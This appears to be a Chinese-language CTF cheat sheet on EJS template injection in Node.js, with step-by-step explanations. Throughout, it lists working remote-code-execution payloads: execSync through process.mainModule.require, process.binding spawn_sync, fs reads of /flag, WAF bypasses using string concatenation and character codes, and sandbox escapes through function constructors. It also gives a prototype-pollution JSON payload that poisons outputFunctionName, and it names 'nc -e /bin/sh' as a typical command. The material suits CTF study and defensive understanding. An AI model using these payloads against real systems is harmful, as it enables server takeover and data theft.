类型
1.显式注入
const ejs = require('ejs');
const userInput = req.query.name;
// 错误写法:直接拼接
const template = `<h1>Hello ${userInput}</h1>`;
const html = ejs.render(template);
正常攻击payload
EJS允许使用<% ... %>标签执行任意 JS 代码。
// 输入这个字符串:
<%- global.process.mainModule.require('child_process').execSync('calc') %>
(注:<%- 表示输出非转义内容,<% 表示执行逻辑但不输出)
使用module
<%- process.mainModule.constructor._load('child_process').execSync('whoami') %>
或使用require的变体
<%- module.require('child_process').execSync('cat /flag') %>
利用process.binding(底层API,绕过require)
<%- process.binding('spawn_sync').spawn({
file: '/bin/sh',
args: ['/bin/sh', '-c', 'cat /flag'],
envPairs: []
}).output[1].toString() %>
利用fs模块进行文件读取(不执行命令)
<%- global.process.mainModule.require('fs').readFileSync('/flag', 'utf-8') %>
fs结合module
<%- module.constructor._load('fs').readFileSync('/flag') %>
绕过waf
拼接
<%- global.process.mainModule.require('child'+'_process').execSync('calc') %>
十六进制或编码
// "child_process" 的 ASCII 码
<%- global.process.mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)).execSync('calc') %>
沙箱逃逸(通过匿名函数的构造器网上找)
如果上下文环境非常受限(比如 global 被覆盖或移除),我们可以尝试用 JS 经典的沙箱逃逸方式,通过匿名函数的构造器往上找。
只要能拿到一个函数,就能找到 Function 构造器,进而通过 return process 拿到全局 process。
<%- (function(){ return this.process })().mainModule.require('child_process').execSync('calc') %>
或
<%- (function(){return this.process})().mainModule.constructor._load('child_process').execSync('whoami') %>
或
<%- [].map.constructor('return process')().mainModule.require('child_process').execSync('calc') %>
原理:EJS 本质上是把模板字符串编译成一个 JavaScript 函数。当你插入这段代码时,EJS 引擎会把它拼接到生成的函数体里。 相当于:
// EJS 内部生成的函数大概长这样
function rendered(locals) {
let output = "";
// ... 其他 HTML 字符串 ...
// 你的 Payload 被直接塞进了这里执行
output += global.process.mainModule.require('child_process').execSync('calc');
// ... 其他 HTML 字符串 ...
return output;
}
这行代码的核心目的是:在没有 require 的环境下,强行找到 require 函数。
我们一段一段来剥开它的心:
1. global
- 含义: Node.js 中的全局对象(类似于浏览器里的
window)。 - 作用: 无论你在代码的哪个角落(函数内、模块内),你永远可以访问
global。它是我们寻找工具的起点。
2. .process
- 含义: 当前 Node.js 进程的对象。
- 作用: 它挂载在
global下。通过它,我们可以获取当前进程的信息(环境变量、版本等)。最重要的是,它保存了程序启动时的上下文信息。
3. .mainModule (关键跳板)
- 含义: 指向应用程序的主入口模块(比如你运行
node app.js,它就指向app.js这个模块对象)。 - 为什么需要它?(核心考点):
- 在 EJS 渲染的函数内部,直接写
require('child_process')往往是会报错的。 - 因为
require是模块作用域下的函数,不是全局函数。EJS 渲染时所在的临时函数作用域里,并没有被注入require这个变量。 - 但是! 主模块(
app.js)在启动时,肯定是有require能力的。process.mainModule这个对象身上保留了主模块的引用,而主模块对象里包含了require函数。 - 通俗理解: 你(EJS渲染函数)手里没有钥匙(require),但是你爸爸(app.js)有。你通过“族谱”(process.mainModule)找到了爸爸,从他口袋里掏出了钥匙。
- 在 EJS 渲染的函数内部,直接写
4. .require('child_process')
- 含义: 利用刚才借来的
require函数,加载 Node.js 内置的 子进程模块。 - 作用: 这个模块专门用来从 Node.js 代码中运行操作系统的 shell 命令。
5. .execSync('calc')
- 含义: 执行命令。
- 细节:
exec: 执行命令。Sync: 同步执行。这意味着 Node.js 会暂停下来,直到命令执行完,并把命令的输出结果(stdout)作为函数的返回值。'calc': 弹计算器(Windows 下的测试命令)。在 Linux CTF 中通常是cat /flag或nc -e /bin/sh ...。
结果: 服务器解析模板时,直接执行了这段 JS 代码,弹出了计算器。
2.隐式注入(原型链污染+EJS)
重点考点
const ejs = require('ejs');
const user = { name: "Guest" }; // 数据
const template = "<h1>Hello <%= name %></h1>"; // 模板是写死的,不包含用户输入
// 看起来很安全,模板内容不可控
ejs.render(template, user);
模板字符串是死的,不可控,我们怎么 RCE?此时必须配合 原型链污染。
其中有一个属性叫 outputFunctionName。EJS 源码中大概是这样写的(简化版):
// EJS 内部逻辑
function generateSource(opts) {
// 这里的 opts 默认是空的
// 但是!如果你污染了 Object.prototype,opts 就有了属性
var prepend = opts.outputFunctionName ?
'var ' + opts.outputFunctionName + ' = [];' :
'';
// 把 prepend 拼接到即将生成的代码字符串里
var source = prepend + '...其他渲染逻辑...';
return source;
}
攻击流程
- 利用点: 题目存在原型链污染漏洞(如之前的
safeMerge)。 - 投毒: 我们污染
Object.prototype.outputFunctionName。 - 触发: 当服务端调用
ejs.render()时,它读取到了我们污染的属性,并将其拼接到函数体中。 - 执行: 恶意代码被执行。
攻击 Payload (组合拳)
假设你已经找到了一个 merge 漏洞,你需要发送如下 JSON:
{
"__proto__": {
// 这里的代码会被拼接到 var ... = []; 中
// 我们利用 ; 闭合前面的语句,然后插入恶意代码,最后注释掉后面的
"outputFunctionName": "a; return global.process.mainModule.require('child_process').execSync('cat /flag'); //"
}
}
EJS 内部被污染后的样子(脑补):
// 正常情况:
// var undefined = []; ...
// 污染后:
var a; return global.process.mainModule.require('child_process').execSync('cat /flag'); // = []; ...
Comments NOTHING